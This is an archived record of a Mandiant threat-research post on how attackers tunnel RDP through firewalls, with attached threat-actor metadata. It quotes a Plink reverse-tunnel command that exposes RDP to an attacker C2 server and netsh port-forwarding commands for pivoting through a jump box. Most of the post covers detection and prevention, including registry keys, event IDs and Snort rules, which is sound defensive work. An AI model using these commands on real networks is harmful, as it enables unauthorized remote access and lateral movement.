{ "id": "cb644433-2891-4acc-8781-7c99bcbf9019", "created_at": "2026-04-06T00:13:05.257753Z", "updated_at": "2026-04-10T03:34:24.100898Z", "deleted_at": null, "sha1_hash": "7634bcaffcd2cca8e4bc21dbb4903256004074f1", "title": "Bypassing Network Restrictions Through RDP Tunneling | Mandiant", "llm_title": "", "authors": "", "file_creation_date": "0001-01-01T00:00:00Z", "file_modification_date": "0001-01-01T00:00:00Z", "file_size": 386828, "plain_text": "Bypassing Network Restrictions Through RDP Tunneling |\r\nMandiant\r\nBy Mandiant\r\nPublished: 2019-01-24 · Archived: 2026-04-05 13:28:34 UTC\r\nWritten by: David Pany, Steve Miller, Danielle Desfosses\r\nRemote Desktop Services is a component of Microsoft Windows that is used by various companies for the\r\nconvenience it offers systems administrators, engineers and remote employees. On the other hand, Remote\r\nDesktop Services, and specifically the Remote Desktop Protocol (RDP), offers this same convenience to remote\r\nthreat actors during targeted system compromises. When sophisticated threat actors establish a foothold and\r\nacquire ample logon credentials, they may switch from backdoors to using direct RDP sessions for remote access.\r\nWhen malware is removed from the equation, intrusions become increasingly difficult to detect.\r\nRDPing Against the Rules\r\nThreat actors continue to prefer RDP for the stability and functionality advantages over non-graphical backdoors,\r\nwhich can leave unwanted artifacts on a system. As a result, FireEye has observed threat actors using native\r\nWindows RDP utilities to connect laterally across systems in compromised environments. Historically, non-exposed systems protected by a firewall and NAT rules were generally considered not to be vulnerable to inbound\r\nRDP attempts; however, threat actors have increasingly started to subvert these enterprise controls with the use of\r\nnetwork tunneling and host-based port forwarding.\r\nNetwork tunneling and port forwarding take advantage of firewall \"pinholes\" (ports not protected by the firewall\r\nthat allow an application access to a service on a host in the network protected by the firewall) to establish a\r\nconnection with a remote server blocked by a firewall. Once a connection has been established to the remote\r\nserver through the firewall, the connection can be used as a transport mechanism to send or \"tunnel\" local\r\nlistening services (located inside the firewall) through the firewall, making them accessible to the remote server\r\n(located outside the firewall), as shown in Figure 1.\r\nFigure 1: Enterprise firewall bypass using RDP and network tunneling with SSH as an example\r\nhttps://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html\r\nPage 1 of 6\n\nInbound RDP Tunneling\r\nA common utility used to tunnel RDP sessions is PuTTY Link, commonly known as Plink. Plink can be used to\r\nestablish secure shell (SSH) network connections to other systems using arbitrary source and destination ports.\r\nSince many IT environments either do not perform protocol inspection or do not block SSH communications\r\noutbound from their network, attackers such as FIN8 have used Plink to create encrypted tunnels that allow RDP\r\nports on infected systems to communicate back to the attacker command and control (C2) server.\r\nExample Plink Executable Command:\r\nplink.exe \u003cusers\u003e@\u003cIP or domain\u003e -pw \u003cpassword\u003e -P 22 -2 -4 -T -N -C -R 12345:127.0.0.1:3389\r\nFigure 2 provides an example of a successful RDP tunnel created using Plink, and Figure 3 provides an example\r\nof communications being sent through the tunnel using port forwarding from the attacker C2 server.\r\nFigure 2: Example of successful RDP tunnel created using Plink\r\nFigure 3: Example of successful port forwarding from the attacker C2 server to the victim\r\nIt should be noted that for an attacker to be able to RDP to a system, they must already have access to the system\r\nthrough other means of compromise in order to create or access the necessary tunneling utility. For example, an\r\nattacker’s initial system compromise could have been the result of a payload dropped from a phishing email aimed\r\nat establishing a foothold into the environment, while simultaneously extracting credentials to escalate privileges.\r\nRDP tunneling into a compromised environment is one of many access methods typically used by attackers to\r\nmaintain their presence in an environment.\r\nJump Box Pivoting\r\nhttps://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html\r\nPage 2 of 6\n\nNot only is RDP the perfect tool for accessing compromised systems externally, RDP sessions can be daisy\r\nchained across multiple systems as a way to move laterally through an environment. FireEye has observed threat\r\nactors using the native Windows Network Shell (netsh) command to utilize RDP port forwarding as a way to\r\naccess newly discovered segmented networks reachable only through an administrative jump box.\r\nExample netsh Port Forwarding Command:\r\nnetsh interface portproxy add v4tov4 listenport=8001 listenaddress=\u003cJUMP BOX IP\u003e connectport=3389 connectaddress\r\nExample Shortened netsh Port Forwarding Command:\r\nnetsh I p a v l=8001 listena=\u003cJUMP BOX IP\u003e connectp=3389 c=\u003cDESTINATION IP\u003e\r\nFor example, a threat actor could configure the jump box to listen on an arbitrary port for traffic being sent from a\r\npreviously compromised system. The traffic would then be forwarded directly through the jump box to any system\r\non the segmented network using any designated port, including the default RDP port TCP 3389. This type of RDP\r\nport forwarding gives threat actors a way to utilize a jump box’s allowed network routes without disrupting\r\nlegitimate administrators who are using the jump box during an ongoing RDP session. Figure 4 provides an\r\nexample of RDP lateral movement to a segmented network via an administrative jump box.\r\nFigure 4: Lateral Movement via RDP using a jump box to a segmented network\r\nPrevention and Detection of RDP Tunneling\r\nIf RDP is enabled, threat actors have a way to move laterally and maintain presence in the environment through\r\ntunneling or port forwarding. To mitigate vulnerability to and detect these types of RDP attacks, organizations\r\nhttps://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html\r\nPage 3 of 6\n\nshould focus on both host-based and network-based prevention and detection mechanisms. For additional\r\ninformation see the FireEye blog post on establishing a baseline for remote desktop protocol.\r\nHost-Based Prevention:\r\nRemote Desktop Service: Disable the remote desktop service on all end-user workstations and systems for\r\nwhich the service is not required for remote connectivity.\r\nHost-based Firewalls: Enable host-based firewall rules that explicitly deny inbound RDP connections.\r\nLocal Accounts: Prevent the use of RDP using local accounts on workstations by enabling the “Deny log\r\non through Remote Desktop Services” security setting.\r\nHost-Based Detection:\r\nRegistry Keys:\r\nReview registry keys associated with Plink connections that can be abused by RDP session tunneling to\r\nidentify unique source and destination systems. By default, both PuTTY and Plink store session\r\ninformation and previously connected ssh servers in the following registry keys on Windows systems:\r\nHKEY_CURRENT_USER\\Software\\SimonTatham\\PuTTY\r\nHKEY_CURRENT_USER\\SoftWare\\SimonTatham\\PuTTY\\SshHostKeys\r\nSimilarly, the creation of a PortProxy configuration with netsh is stored with the following Windows\r\nregistry key:\r\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\PortProxy\\v4tov4\r\nCollecting and reviewing these registry keys can identify both legitimate SSH and unexpected tunneling\r\nactivity. Additional review may be needed to confirm the purpose of each artifact.\r\nEvent Logs:\r\nReview event logs for high-fidelity logon events. Common RDP logon events are contained in the\r\nfollowing event logs on Windows systems:\r\n%systemroot%\\Windows\\System32\\winevt\\Logs\\Microsoft-TerminalServices-LocalSessionmanager%3Operational.evtx\r\n%systemroot%\\Windows\\System32\\winevt\\Logs\\Security.evtx\r\nThe “TerminalServices-LocalSessionManager” log contains successful interactive local or remote logon\r\nevents as identified by EID 21 and successful reconnection of a previously established RDP session not\r\nterminated by a proper user logout as identified by EID 25. The “Security” log contains successful Type 10\r\nremote interactive logons (RDP) as identified by EID 4624. A source IP address recorded as a localhost IP\r\naddress (127.0.0.1 – 127.255.255.255) may be indicative of a tunneled logon routed from a listening\r\nlocalhost port to the localhost’s RDP port TCP 3389.\r\nReview your artifacts of execution for “plink.exe” file execution. Note that attackers can rename the file name to\r\navoid detection. Relevant artifacts include, but are not limited to:\r\nApplication Compatibility Cache/Shimcache\r\nAmcache\r\nJump Lists\r\nhttps://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html\r\nPage 4 of 6\n\nPrefetch\r\nService Events\r\nCCM Recently Used Apps from the WMI repository\r\nRegistry keys\r\nNetwork-Based Prevention:\r\nRemote Connectivity: Where RDP is required for connectivity, enforce the connection to be initiated from\r\na designated jump box or centralized management server.\r\nDomain Accounts: Employ the “Deny log on through Remote Desktop Services” security setting for\r\nprivileged accounts (e.g. domain administrators) and service accounts, as these types of accounts are\r\ncommonly used by threat actors to laterally move to sensitive systems in an environment.\r\nNetwork-Based Detection:\r\nFirewall Rules: Review existing firewall rules to identify areas of vulnerability to port forwarding. In\r\naddition to the potential use of port forwarding, monitoring for internal communications between\r\nworkstations in the environment should be conducted. Generally, workstations do not have a need to\r\ncommunicate with one another directly and Firewall rules can be used to prevent any such communication,\r\nexcept where needed.\r\nNetwork Traffic: Perform content inspection of network traffic. Not all traffic communicating on a given\r\nport is what it appears to be. For example, threat actors may use TCP ports 80 or 443 to establish an RDP\r\ntunnel with a remote server. Deep inspection of the network traffic can likely reveal that it is not actually\r\nHTTP or HTTPS, but entirely different traffic all together. Therefore, organizations should closely monitor\r\ntheir network traffic.\r\nSnort Rules: The main indicator of tunneled RDP occurs when the RDP handshake has a designated low\r\nsource port generally used for another protocol. Figure 5 provides two sample Snort rules that can help\r\nsecurity teams identify RDP tunneling in their network traffic by identifying designated low source ports\r\ngenerally used for other protocols.\r\nalert tcp any [21,22,23,25,53,80,443,8080] -\u003e any !3389 (msg:\"RDP - HANDSHAKE [Tunneled msts]\"; dsize:\u003c65; cont\r\nalert tcp any [21,22,23,25,53,80,443,8080] -\u003e any !3389 (msg:\"RDP - HANDSHAKE [Tunneled]\"; flow:established; co\r\nFigure 5: Sample Snort Rules to identify RDP tunneling\r\nConclusion\r\nRDP enables IT environments to offer freedom and interoperability to users. But with more and more threat actors\r\nusing RDP to move laterally across networks with limited segmentation, security teams are being challenged to\r\ndecipher between legitimate and malicious RDP traffic. Therefore, adequate host-based and network-based\r\nprevention and detection methods should be taken to actively monitor for and be able to identify malicious RDP\r\nusage.\r\nhttps://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html\r\nPage 5 of 6\n\nPosted in\r\nThreat Intelligence\r\nSource: https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html\r\nhttps://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html\r\nPage 6 of 6", "extraction_quality": 1, "language": "EN", "sources": [ "ETDA" ], "references": [ "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html" ], "report_names": [ "bypassing-network-restrictions-through-rdp-tunneling.html" ], "threat_actors": [ { "id": "b740943a-da51-4133-855b-df29822531ea", "created_at": "2022-10-25T15:50:23.604126Z", "updated_at": "2026-04-10T02:00:05.259593Z", "deleted_at": null, "main_name": "Equation", "aliases": [ "Equation" ], "source_name": "MITRE:Equation", "tools": null, "source_id": "MITRE", "reports": null }, { "id": "3150bf4f-288a-44b8-ab48-0ced9b052a0c", "created_at": "2025-08-07T02:03:24.910023Z", "updated_at": "2026-04-10T02:00:03.713077Z", "deleted_at": null, "main_name": "GOLD HUXLEY", "aliases": [ "CTG-6969 ", "FIN8 " ], "source_name": "Secureworks:GOLD HUXLEY", "tools": [ "Gozi ISFB", "Powersniff" ], "source_id": "Secureworks", "reports": null }, { "id": "5bdde906-0416-42ee-9100-5ebd95dda77a", "created_at": "2023-01-06T13:46:38.601977Z", "updated_at": "2026-04-10T02:00:03.035842Z", "deleted_at": null, "main_name": "FIN8", "aliases": [ "ATK113", "G0061" ], "source_name": "MISPGALAXY:FIN8", "tools": [], "source_id": "MISPGALAXY", "reports": null }, { "id": "72d09c17-e33e-4c2f-95db-f204848cc797", "created_at": "2022-10-25T15:50:23.832551Z", "updated_at": "2026-04-10T02:00:05.336787Z", "deleted_at": null, "main_name": "FIN8", "aliases": [ "FIN8", "Syssphinx" ], "source_name": "MITRE:FIN8", "tools": [ "BADHATCH", "PUNCHBUGGY", "Ragnar Locker", "PUNCHTRACK", "dsquery", "Nltest", "Sardonic", "PsExec", "Impacket" ], "source_id": "MITRE", "reports": null }, { "id": "fc80a724-e567-457c-82bb-70147435e129", "created_at": "2022-10-25T16:07:23.624289Z", "updated_at": "2026-04-10T02:00:04.691643Z", "deleted_at": null, "main_name": "FIN8", "aliases": [ "ATK 113", "G0061", "Storm-0288", "Syssphinx" ], "source_name": "ETDA:FIN8", "tools": [ "ALPHV", "ALPHVM", "BadHatch", "BlackCat", "Noberus", "PSVC", "PUNCHTRACK", "PoSlurp", "Powersniff", "PunchBuggy", "Ragnar Loader", "Ragnar Locker", "RagnarLocker", "Sardonic", "ShellTea" ], "source_id": "ETDA", "reports": null } ], "ts_created_at": 1775434385, "ts_updated_at": 1775792064, "ts_creation_date": 0, "ts_modification_date": 0, "files": { "pdf": "https://archive.orkl.eu/7634bcaffcd2cca8e4bc21dbb4903256004074f1.pdf", "text": "https://archive.orkl.eu/7634bcaffcd2cca8e4bc21dbb4903256004074f1.txt", "img": "https://archive.orkl.eu/7634bcaffcd2cca8e4bc21dbb4903256004074f1.jpg" } }